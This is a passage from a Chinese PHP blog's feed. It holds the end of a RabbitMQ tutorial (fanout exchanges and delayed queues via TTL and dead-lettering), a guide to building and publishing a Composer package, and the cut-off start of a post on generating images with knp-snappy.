plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line">use PhpAmqpLib\Connection\AMQPStreamConnection;</span><br><span class="line">use PhpAmqpLib\Message\AMQPMessage;</span><br><span class="line"></span><br><span class="line">$connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line"></span><br><span class="line">$channel->exchange_declare('logs', 'fanout', false, false, false);</span><br><span class="line"></span><br><span class="line">$data = implode(' ', array_slice($argv, 1));</span><br><span class="line">if (empty($data)) {</span><br><span class="line"> $data = "info: Hello World!";</span><br><span class="line">}</span><br><span class="line">$msg = new AMQPMessage($data);</span><br><span class="line"></span><br><span class="line">$channel->basic_publish($msg, 'logs');</span><br><span class="line"></span><br><span class="line">echo ' [x] Sent ', $data, "\n";</span><br><span class="line"></span><br><span class="line">$channel->close();</span><br><span class="line">$connection->close();</span><br></pre></td></tr></table></figure><p>开启两个消费者:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php PublishSubscribe/receive_logs1.php</span><br><span class="line"> [*] Waiting for logs. To exit press CTRL+C</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php PublishSubscribe/receive_logs2.php</span><br><span class="line"> [*] Waiting for logs. To exit press CTRL+C</span><br></pre></td></tr></table></figure><p>发送任务:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php PublishSubscribe/emit_log.php "创建日志"</span><br><span class="line"> [x] Sent 创建日志</span><br></pre></td></tr></table></figure><p>这时候生产者讲任务推给了交换机,由交换机将数据发送给与之绑定的队列</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ php PublishSubscribe/receive_logs1.php</span><br><span class="line"> [*] Waiting for logs. To exit press CTRL+C</span><br><span class="line"> [x] 创建日志</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ php PublishSubscribe/receive_logs2.php</span><br><span class="line"> [*] Waiting for logs. To exit press CTRL+C</span><br><span class="line"> [x] 创建日志</span><br></pre></td></tr></table></figure><p>简单解释:可以将消息发送给不同类型的消费者。做到发布一次,消费多个</p><ul><li><input disabled="" type="checkbox"> <strong>todo 下面的介绍,留住后面慢慢消化一下</strong></li></ul><h5 id="4、Routing"><a href="#4、Routing" class="headerlink" title="4、Routing"></a>4、Routing</h5><blockquote><p>按路线发送接收:发送端按routing key发送消息,不同的接收端按不同的routing key接收消息。</p></blockquote><p><img src="https://www.rabbitmq.com/img/tutorials/python-four.png" alt="python-four"></p><h5 id="5、Topics"><a href="#5、Topics" class="headerlink" title="5、Topics"></a>5、Topics</h5><blockquote><p>topic类型的Exchange在匹配规则上进行了扩展,它与direct类型的Exchage相似,也是将消息路由到binding key与routing key相匹配的Queue中</p></blockquote><p><img src="https://www.rabbitmq.com/img/tutorials/python-five.png" alt="python-five"></p><h5 id="6、RPC"><a href="#6、RPC" class="headerlink" title="6、RPC"></a>6、RPC</h5><p><img src="https://www.rabbitmq.com/img/tutorials/python-six.png" alt="python-six"></p><blockquote><p>实际的应用场景中,我们很可能需要一些同步处理,需要同步等待服务端将我的消息处理完成后再进行下一步处理。这相当于RPC(Remote Procedure Call,远程过程调用)。</p></blockquote><h5 id="7、Publisher-Confirms"><a href="#7、Publisher-Confirms" class="headerlink" title="7、Publisher Confirms"></a>7、Publisher Confirms</h5><blockquote><p>发布者确认 是实现可靠发布的RabbitMQ扩展。在通道上启用发布者确认后,代理将异步确认客户端发布的消息,这意味着它们已在服务器端处理。</p></blockquote><h3 id="示例代码"><a href="#示例代码" class="headerlink" title="示例代码"></a>示例代码</h3><p><a href="https://github.com/lihq1403/gadget/tree/master/RabbitMQ">https://github.com/lihq1403/gadget/tree/master/RabbitMQ</a></p><h3 id="延时队列实现"><a href="#延时队列实现" class="headerlink" title="延时队列实现"></a>延时队列实现</h3><p>Rabbitmq默认没有支持延迟队列,查阅了一些资料发现,是可以通过两种方式实现</p><ol><li>TTL和死信队列</li><li><a href="rabbitmq/rabbitmq-delayed-message-exchange">rabbitmq_delayed_message_exchange</a> 插件</li></ol><h5 id="TTL和死信队列实现方式"><a href="#TTL和死信队列实现方式" class="headerlink" title="TTL和死信队列实现方式"></a>TTL和死信队列实现方式</h5><blockquote><p>参考文章:<a href="https://blog.csdn.net/u011069013/article/details/107079470/">https://blog.csdn.net/u011069013/article/details/107079470/</a></p></blockquote><h6 id="send-php-1"><a href="#send-php-1" class="headerlink" title="send.php"></a>send.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">use PhpAmqpLib\Connection\AMQPStreamConnection;</span><br><span class="line">use PhpAmqpLib\Wire\AMQPTable;</span><br><span class="line">use PhpAmqpLib\Message\AMQPMessage;</span><br><span class="line"></span><br><span class="line">// 连接RabbitMQ</span><br><span class="line">$connection = new AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">// 创建一个通道</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line"></span><br><span class="line">$exchange_name = 'test_exchange';</span><br><span class="line">$queue_name = 'test_queue';</span><br><span class="line"></span><br><span class="line">// 定义默认的交换器</span><br><span class="line">$channel->exchange_declare($exchange_name, 'topic', false, true, false);</span><br><span class="line">// 定义延迟交换器</span><br><span class="line">$channel->exchange_declare('delayed_exchange', 'topic', false, true, false);</span><br><span class="line"></span><br><span class="line">//定义延迟队列</span><br><span class="line">$channel->queue_declare('delayed_queue', false, true, false, false, false, new AMQPTable(array(</span><br><span class="line"> "x-dead-letter-exchange" => "delayed_exchange",</span><br><span class="line"> "x-dead-letter-routing-key" => "delayed_exchange",</span><br><span class="line"> "x-message-ttl" => 5000, //5秒延迟</span><br><span class="line">)));</span><br><span class="line">//绑定延迟队列到默认队列上</span><br><span class="line">$channel->queue_bind('delayed_queue', $exchange_name);</span><br><span class="line"></span><br><span class="line">// 声明一个队列</span><br><span class="line">$channel->queue_declare($queue_name, false, true, false, false, false);</span><br><span class="line">//绑定正常消费队列到延迟交换器上</span><br><span class="line">$channel->queue_bind($queue_name, 'delayed_exchange', 'delayed_exchange');</span><br><span class="line"></span><br><span class="line">$nowTime = date('H:i:s');</span><br><span class="line">$msg = new AMQPMessage('Hello World 发送时间:'. $nowTime, [</span><br><span class="line"> 'delivery_mode' => AMQPMessage::DELIVERY_MODE_PERSISTENT</span><br><span class="line">]);</span><br><span class="line">$channel->basic_publish($msg, $exchange_name);</span><br><span class="line"></span><br><span class="line">echo " [x] Sent 'Hello World!'\n";</span><br><span class="line"></span><br><span class="line">$channel->close();</span><br><span class="line">$connection->close();</span><br></pre></td></tr></table></figure><h6 id="receive-php-1"><a href="#receive-php-1" class="headerlink" title="receive.php"></a>receive.php</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require_once __DIR__ . '/../vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">// 连接RabbitMQ</span><br><span class="line">$connection = new \PhpAmqpLib\Connection\AMQPStreamConnection('localhost', 5672, 'guest', 'guest');</span><br><span class="line">// 创建一个通道</span><br><span class="line">$channel = $connection->channel();</span><br><span class="line"></span><br><span class="line">$queue_name = 'test_queue';</span><br><span class="line"></span><br><span class="line">// 声明一个队列</span><br><span class="line">$channel->queue_declare($queue_name, false, true, false, false, false);</span><br><span class="line"></span><br><span class="line">echo ' [*] Waiting for messages. To exit press CTRL+C', "\n";</span><br><span class="line"></span><br><span class="line">$callback = function ($msg) {</span><br><span class="line"> echo " [x] Received ", $msg->body, ' 接受时间:', date('H:i:s'), "\n";</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line">$channel->basic_consume($queue_name, '', false, true, false, false, $callback);</span><br><span class="line"></span><br><span class="line">while (count($channel->callbacks)) {</span><br><span class="line"> $channel->wait();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>发送测试:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php HelloWord/send.php</span><br><span class="line"> [x] Sent 'Hello World!'</span><br></pre></td></tr></table></figure><p>接受测试:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ php HelloWord/receive.php</span><br><span class="line"> [*] Waiting for messages. To exit press CTRL+C</span><br><span class="line"> [x] Received Hello World 发送时间:21:19:06 接受时间:21:19:11</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="tools" scheme="https://blog.lihq.xyz/tags/tools/"/>
</entry>
<entry>
<title>PHP 扩展包开发流程</title>
<link href="https://blog.lihq.xyz/2020/05/09/php-extension-package-development-process/"/>
<id>https://blog.lihq.xyz/2020/05/09/php-extension-package-development-process/</id>
<published>2020-05-09T09:51:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="PHP-扩展包开发流程"><a href="#PHP-扩展包开发流程" class="headerlink" title="PHP 扩展包开发流程"></a>PHP 扩展包开发流程</h1><blockquote><p>现在程序开发,应该很少人再去造轮子吧,直接github一顿搜,哈哈哈哈。<br>难免有时候会找不到或者不适合,刚好又碰巧这些代码很通用,那么我们不妨自己开发一个轮子 ( 手动狗头 0-0 )</p></blockquote><h3 id="composer安装"><a href="#composer安装" class="headerlink" title="composer安装"></a>composer安装</h3><ul><li><a href="https://blog.lihq.xyz/2020/01/03/composer-graphic-installation-tutorial/tps://note.youdao.com/">Composer 图文安装教程</a></li></ul><h3 id="拓展包的基础结构"><a href="#拓展包的基础结构" class="headerlink" title="拓展包的基础结构"></a>拓展包的基础结构</h3><p>虽然说扩展包并没有什么强制的规定一定要如何组织代码,但是我们推荐根据业界约定俗成的结构:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">helper/</span><br><span class="line">├── .editorconfig # 编辑器配置文件,比如缩进大小、换行模式等</span><br><span class="line">├── .gitattributes # git 配置文件,可以设计导出时忽略文件等</span><br><span class="line">├── .gitignore # git 忽略文件配置列表</span><br><span class="line">├── .php_cs # PHP-CS-Fixer 配置文件</span><br><span class="line">├── README.md</span><br><span class="line">├── composer.json # 包定义,很关键</span><br><span class="line">├── phpunit.xml.dist</span><br><span class="line">├── src # 源码</span><br><span class="line">│ └── .gitkeep</span><br><span class="line">└── tests # 单元测试</span><br><span class="line"> └── .gitkeep</span><br></pre></td></tr></table></figure><h3 id="包构建工具"><a href="#包构建工具" class="headerlink" title="包构建工具"></a>包构建工具</h3><p>我这里使用的是<a href="https://github.com/overtrue/package-builder">overtrue/package-builder</a>提供的一个包结构生成工具</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ composer global require "overtrue/package-builder" --prefer-source</span><br></pre></td></tr></table></figure><h5 id="基本用法"><a href="#基本用法" class="headerlink" title="基本用法"></a>基本用法</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> $ package-builder help</span><br><span class="line">如果命令未找到,那就在composer全局vendor里面啦!这个是我的:/root/.config/composer/vendor/overtrue/package-builder/bin/package-builder</span><br></pre></td></tr></table></figure><h3 id="创建项目"><a href="#创建项目" class="headerlink" title="创建项目"></a>创建项目</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ package-builder build helper</span><br></pre></td></tr></table></figure><h3 id="声明自动加载"><a href="#声明自动加载" class="headerlink" title="声明自动加载"></a>声明自动加载</h3><blockquote><p>tips:一般自动加载有改动的话,最好重新生成一次composer dump-autoload 或者 composer du </p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> .</span><br><span class="line"> .</span><br><span class="line"> .</span><br><span class="line"> "autoload": {</span><br><span class="line"> "psr-4": {</span><br><span class="line"> "Lihq1403\\Helper\\": "src"</span><br><span class="line"> },</span><br><span class="line"> },</span><br><span class="line"> .</span><br><span class="line"> .</span><br><span class="line"> .</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="完成代码开发,单元测试"><a href="#完成代码开发,单元测试" class="headerlink" title="完成代码开发,单元测试"></a>完成代码开发,单元测试</h3><ul><li><a href="https://github.com/lihq1403/helper">lihq1403/helper</a></li></ul><p>最后的composer.json如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">{</span><br><span class="line"> "name": "lihq1403\/helper",</span><br><span class="line"> "description": "helper",</span><br><span class="line"> "license": "MIT",</span><br><span class="line"> "authors": [</span><br><span class="line"> {</span><br><span class="line"> "name": "lihq1403",</span><br><span class="line"> "email": "lihqing1403@gmail.com"</span><br><span class="line"> }</span><br><span class="line"> ],</span><br><span class="line"> "require": {</span><br><span class="line"> "php": ">=7.0.0",</span><br><span class="line"> "ext-json": "*",</span><br><span class="line"> "larapack/dd": "^1.1",</span><br><span class="line"> "phpoffice/phpspreadsheet": "^1.10",</span><br><span class="line"> "ext-iconv": "*"</span><br><span class="line"> },</span><br><span class="line"> "require-dev": {</span><br><span class="line"> "phpunit/phpunit": "^8.3",</span><br><span class="line"> "mockery/mockery": "^1.2"</span><br><span class="line"> },</span><br><span class="line"> "autoload": {</span><br><span class="line"> "psr-4": {</span><br><span class="line"> "Lihq1403\\Helper\\": "src"</span><br><span class="line"> },</span><br><span class="line"> "files": [</span><br><span class="line"> "src/common.php"</span><br><span class="line"> ]</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="本地项目测试扩展包"><a href="#本地项目测试扩展包" class="headerlink" title="本地项目测试扩展包"></a>本地项目测试扩展包</h3><p>建立测试项目,目录结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">dir/</span><br><span class="line">├── helper # 扩展包</span><br><span class="line">└── helper-test # 测试项目</span><br></pre></td></tr></table></figure><p>进入测试目录之后</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"># 需要先初始化 composer.json, 一路回车即可</span><br><span class="line">$ composer init </span><br><span class="line"></span><br><span class="line"># 配置包路径,注意,这里 `../helper` 为相对路径,不要弄错了</span><br><span class="line">$ composer config repositories.helper path ../helper </span><br><span class="line"></span><br><span class="line"># 安装扩展包 这里 `dev-master` 中的 dev 指该分支下最新的提交,master 是指定的包中的分支名</span><br><span class="line">$ composer require lihq1403/helper:dev-master</span><br></pre></td></tr></table></figure><blockquote><p>小细节:本地composer安装,会创建一个软链接 vendor/lihq1403/helper 到包所在目录 ../helper,这样一来,你可以直接在测试项目的 vendor/lihq1403/helper 下修改文件,包里的文件也会跟着变了</p></blockquote><p>建立测试文件 index.php</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ . '/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">use Lihq1403\Helper\Interfaces\DateGlobal;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">echo DateGlobal::SECONDS_IN_A_DAY;</span><br></pre></td></tr></table></figure><p>测试一下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ php index.php</span><br><span class="line">86400</span><br></pre></td></tr></table></figure><p>达到预期结果,完美!!!</p><h3 id="发布上线"><a href="#发布上线" class="headerlink" title="发布上线"></a>发布上线</h3><ol><li>将本地代码放到github上面 <del>(不会真有人不会提交代码到github吧)</del></li></ol><p><img src="https://blog-1256184194.file.myqcloud.com/2020/05/09/17a7a4f2afc61.png" alt="微信截图_20200509173401.png"></p><ol start="2"><li>提交到 Packagist</li></ol><p><img src="https://blog-1256184194.file.myqcloud.com/2020/05/09/c19fd205d7077.png" alt="微信截图_20200509173554.png"></p><ol start="3"><li>启用项目的 Packagist 通知服务</li></ol><p>访问你在 Packagist 的个人主页:packagist.org/profile/ ,点击 “Show API Token”,复制 token 备用。</p><ol start="4"><li>给项目代码库启用 Packagist 通知服务<br>填写对应的内容:</li></ol><ul><li>Payload URL: <a href="https://packagist.org/api/github?username=Packagist">https://packagist.org/api/github?username=Packagist</a> 的用户名</li><li>Content type 选择为 application/json</li><li>Secret 填写为您刚刚复制的 token<br><img src="https://blog-1256184194.file.myqcloud.com/2020/05/09/2953629f1341d.png" alt="微信截图_20200509173816.png"></li></ul><h3 id="发布第一个版本"><a href="#发布第一个版本" class="headerlink" title="发布第一个版本"></a>发布第一个版本</h3><h5 id="版本号约定"><a href="#版本号约定" class="headerlink" title="版本号约定"></a>版本号约定</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">版本格式:主版本号。次版本号。修订号,版本号递增规则如下:</span><br><span class="line">主版本号:当你做了不兼容的 API 修改,</span><br><span class="line">次版本号:当你做了向下兼容的功能性新增,</span><br><span class="line">修订号:当你做了向下兼容的问题修正。</span><br><span class="line">先行版本号及版本编译信息可以加到 “主版本号。次版本号。修订号” 的后面,作为延伸。</span><br></pre></td></tr></table></figure><p>简单介绍就是,如果你现在的最新版本是 1.0.0,下面的动作的区别是:</p><ul><li>打补丁,修了一些小 bug,没做 API 修改,那么你应该发布 1.0.1,同理以后也是递增第三位。</li><li>有一天网友在你的基础上提交了新功能,原来的 API 调用方式也没改变,这时候你应该发布 1.1.0 。</li><li>一段时间以后,你心血来潮重构了你的扩展包,调用方式也发生了变化,也就是说安装了以前版本的是无法直接升级的,这时候你需要发布 2.0.0 了。</li></ul><h5 id="Create-new-release"><a href="#Create-new-release" class="headerlink" title="Create new release"></a>Create new release</h5><p>填写版本号、这次发版的标题、以及这次版本变化的内容描述,点击提交。</p><h3 id="发布成功之后的测试"><a href="#发布成功之后的测试" class="headerlink" title="发布成功之后的测试"></a>发布成功之后的测试</h3><p>在新项目里面直接composer require lihq1403/helper,问题不大的话(国内镜像会有延迟),应该能看到安装成功</p><h3 id="备注"><a href="#备注" class="headerlink" title="备注"></a>备注</h3><p>如果这个开发的包,是一些比较私有的话,建议自己搭建一个私有的 Composer 包仓库</p><ul><li><a href="https://blog.lihq.xyz/2019/12/25/Using-satis-to-build-a-private-composer-package-warehouse/">使用 satis 搭建一个私有的 Composer 包仓库</a></li></ul><h3 id="helper源码地址"><a href="#helper源码地址" class="headerlink" title="helper源码地址"></a>helper源码地址</h3><div style="text-align: center"> <div class="github-card" data-user="lihq1403" data-repo="helper" data-height="200" data-width="100%" data-theme="default" data-target="" data-client-id="" data-client-secret="" ></div></div><script src="/github-card-lib/githubcard.js"></script><p><img src="https://media-1256184194.file.myqcloud.com/image/bing/2020-05-07-5eb3d1968cd06.jpg" alt="image"></p>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="tools" scheme="https://blog.lihq.xyz/tags/tools/"/>
</entry>
<entry>
<title>神奇的轮子之 - snappy</title>
<link href="https://blog.lihq.xyz/2020/03/10/magic-wheel-snappy/"/>
<id>https://blog.lihq.xyz/2020/03/10/magic-wheel-snappy/</id>
<published>2020-03-10T09:31:00.000Z</published>
<updated>2025-09-18T07:56:12.966Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="神奇的轮子之-snappy"><a href="#神奇的轮子之-snappy" class="headerlink" title="神奇的轮子之 - snappy"></a>神奇的轮子之 - snappy</h1><h3 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h3><ul><li>因为项目中,需要将多张图片和文字进行拼接生成图片,一开始用GD库,果然难用,哈哈哈</li><li>经过不断的努力搜索,发现了神器<a href="https://wkhtmltopdf.org/">wkhtmltoimage</a></li><li>原来可以先写好静态html,直接进行转换就好了</li><li>但是这个是一个shell脚本,php调用的话,已经有人写好了轮子 <a href="https://github.com/KnpLabs/snappy">knplabs/knp-snappy</a>【pdf和image统统不在话下】</li></ul><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer require knplabs/knp-snappy</span><br></pre></td></tr></table></figure><p>选择安装脚本,直接引用官方说明</p><h2 id="wkhtmltopdf-binary-as-composer-dependencies"><a href="#wkhtmltopdf-binary-as-composer-dependencies" class="headerlink" title="wkhtmltopdf binary as composer dependencies"></a>wkhtmltopdf binary as composer dependencies</h2><p>If you want to download wkhtmltopdf and wkhtmltoimage with composer you add to <code>composer.json</code>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ composer require h4cc/wkhtmltopdf-i386 0.12.x</span><br><span class="line">$ composer require h4cc/wkhtmltoimage-i386 0.12.x</span><br></pre></td></tr></table></figure><p>or this if you are in 64 bit based system:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ composer require h4cc/wkhtmltopdf-amd64 0.12.x</span><br><span class="line">$ composer require h4cc/wkhtmltoimage-amd64 0.12.x</span><br></pre></td></tr></table></figure><p>And then you can use it</p><p>我这里选择了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer require h4cc/wkhtmltoimage-amd64</span><br></pre></td></tr></table></figure><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">require __DIR__ .'/vendor/autoload.php';</span><br><span class="line"></span><br><span class="line">// 首先实例类,根据系统不同,选择不一样的脚本程序</span><br><span class="line"></span><br><span class="line">$imageSnappy = new \Knp\Snappy\Image(__DIR__ . '/vendor/h4cc/wkhtmltoimage-amd64/bin/wkhtmltoimage-amd64');</span><br><span class="line"></span><br><span class="line">// 如果有中文的话,需要添加中文字体</span><br><span class="line">$ttf = __DIR__ . '/ttf/sc.ttf';</span><br><span class="line">// 需要合成的图片地址,base64也可以的,其实跟这个也无关,主要是html能静态展示,那么合成的就是什么样的</span><br><span class="line">$image_url = 'https://www.php.net/images/logos/php-logo.svg';</span><br><span class="line">$name = 'wkhtmltoimage';</span><br><span class="line"></span><br><span class="line">// html代码,随意搞了搞,真实使用的话,需要用心调整样式哦~</span><br><span class="line">$htmlTemplate = <<<EOF</span><br><span class="line"><!DOCTYPE html></span><br><span class="line"><html lang="en"></span><br><span class="line"><head></span><br><span class="line"> <meta charset="UTF-8"></span><br><span class="line"> <meta name="viewport" content="width=device-width, initial-scale=1.0"></span><br><span class="line"> <meta http-equiv="X-UA-Compatible" content="ie=edge"></span><br><span class="line"> <title>海报</title></span><br><span class="line"></head></span><br><span class="line"><style></span><br><span class="line"> @font-face {</span><br><span 